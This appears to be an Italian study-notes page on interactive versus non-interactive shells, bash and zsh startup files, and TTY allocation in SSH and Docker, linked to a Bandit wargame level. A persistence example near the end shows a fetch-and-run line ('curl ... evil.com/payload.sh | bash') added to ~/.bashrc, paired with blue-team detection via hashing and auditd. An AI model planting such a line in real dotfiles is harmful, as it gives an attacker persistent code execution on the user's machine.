Skip to main content
  1. Concetti/

Shell Interattiva vs Non Interattiva

·3 mins
Alessio Barnini
Author
Alessio Barnini
Table of Contents

Cosa è
#

Una shell interattiva è collegata a un terminale (TTY) e legge input dall'utente. Una shell non interattiva esegue comandi senza TTY e non legge i file di configurazione utente come .bashrc.

La differenza in pratica
#

INTERATTIVA                        NON INTERATTIVA
────────────────────               ──────────────────────
ssh host                           ssh host comando
docker exec -it container bash     docker exec container comando
Apri terminale in GUI              Script bash eseguito da cron
Login console TTY                  Pipe: echo "cmd" | bash

Legge: .bashrc, .bash_profile      NON legge: .bashrc
Ha: prompt, history, tab           NON ha: prompt interattivo
Flag $- contiene: i                Flag $- NON contiene: i

La famiglia dei dotfile bash
#

~/.bashrc
    └── shell interattiva NON-login (nuovo terminale in GUI)
        Contiene: alias, funzioni, prompt PS1

~/.bash_profile  (o ~/.profile)
    └── shell di LOGIN (SSH, console TTY)
        Contiene: variabili PATH, EDITOR
        Di solito chiama: source ~/.bashrc

~/.bash_logout
    └── eseguito all'uscita da shell di login

/etc/bash.bashrc
    └── come ~/.bashrc ma per TUTTI gli utenti

/etc/profile
    └── come ~/.bash_profile ma per TUTTI gli utenti

Ordine di lettura al login SSH:

ssh login
/etc/profile
~/.bash_profile  →  source ~/.bashrc
~/.bashrc        ← qui vive il codice malevolo in Bandit 18

File di startup — login shell:

FileScopeQuando viene letto
/etc/profileglobalesempre, primo
~/.bash_profilepersonalese esiste
~/.bash_loginpersonalese .bash_profile non esiste
~/.profilepersonalese nessuno dei precedenti esiste — default Ubuntu

File di startup — non-login shell:

FileScopeQuando viene letto
/etc/bash.bashrcglobalesempre
~/.bashrcpersonalesempre
Note

Su Ubuntu ~/.bash_profile non esiste di default. La shell di login legge ~/.profile, che chiama ~/.bashrc. Tutto converge su ~/.bashrc.

RC — cosa significa
#

RC = Run Commands — termine Unix anni '70. Indica script eseguiti automaticamente all'avvio di un programma. Lo trovi ovunque: .bashrc, .zshrc, /etc/rc.local, systemd rc.

Bash vs Zsh
#

bash                               zsh
────────────────────               ──────────────────────
~/.bashrc                          ~/.zshrc
~/.bash_profile                    ~/.zprofile
default su Linux                   default su macOS (da Catalina 2019)
standard Unix scripting            più funzionalità interattive
                                   compatibile con bash per scripting base

Mac e Kali → zsh → modifichi ~/.zshrc. Bandit / Ubuntu Server → bash → il problema era in ~/.bashrc zsh è sempre più comune anche su Linux — Kali lo usa come default.

$ echo $SHELL
/usr/bin/zsh

Implicazione pratica per il blue team:
#

Se analizzi un sistema compromesso devi controllare ENTRAMBI:

~/.bashrc      → se l'utente usa bash
~/.zshrc       → se l'utente usa zsh
~/.profile     → letto da entrambi in alcuni casi

TTY e il flag -it in Docker/SSH
#

TTY = Teletypewriter — terminale virtuale

ssh host                  →  apre TTY, shell interattiva
ssh host comando          →  nessun TTY, shell non interattiva

docker exec container cmd →  nessun TTY
docker exec -it container →  -i = stdin aperto
                              -t = alloca TTY
                              risultato: shell interattiva

Stesso identico meccanismo — SSH e Docker usano lo stesso concetto di TTY per decidere se la shell è interattiva o no.

Come verificare se sei in una shell interattiva
#

echo $-        # se contiene 'i' → interattiva
# esempio output interattiva:   himBHs
# esempio output non interattiva: hBs

Scenario Reale — Persistence via dotfile
#

ATTACCO:
  Malware ottiene accesso al sistema
  Modifica ~/.bashrc dell'utente target
  aggiunge: curl http://evil.com/payload.sh | bash
  Ad ogni login SSH dell'utente → codice malevolo eseguito

RILEVAMENTO (blue team):
  Monitora hash di ~/.bashrc con baseline
  Alert se il file cambia → vedi bashrc-monitor.sh
  
  Oppure: auditd
  auditctl -w /home/utente/.bashrc -p wa -k dotfile_change
Warning

I dotfile sono uno dei vettori di persistence più usati perché raramente monitorati. .bashrc, .bash_profile, .zshrc, .profile sono tutti target validi.

Collegato a
#

  • ssh — comando che sfrutta questa differenza
  • bandit-18 — livello dove questo concetto è centrale
  • system — categoria
  • printenv — per leggere le variabili d'ambiente
  • export — per esportare variabili
  • shell-environment — concetto dell'ambiente shell
  • bash-startup-files

Related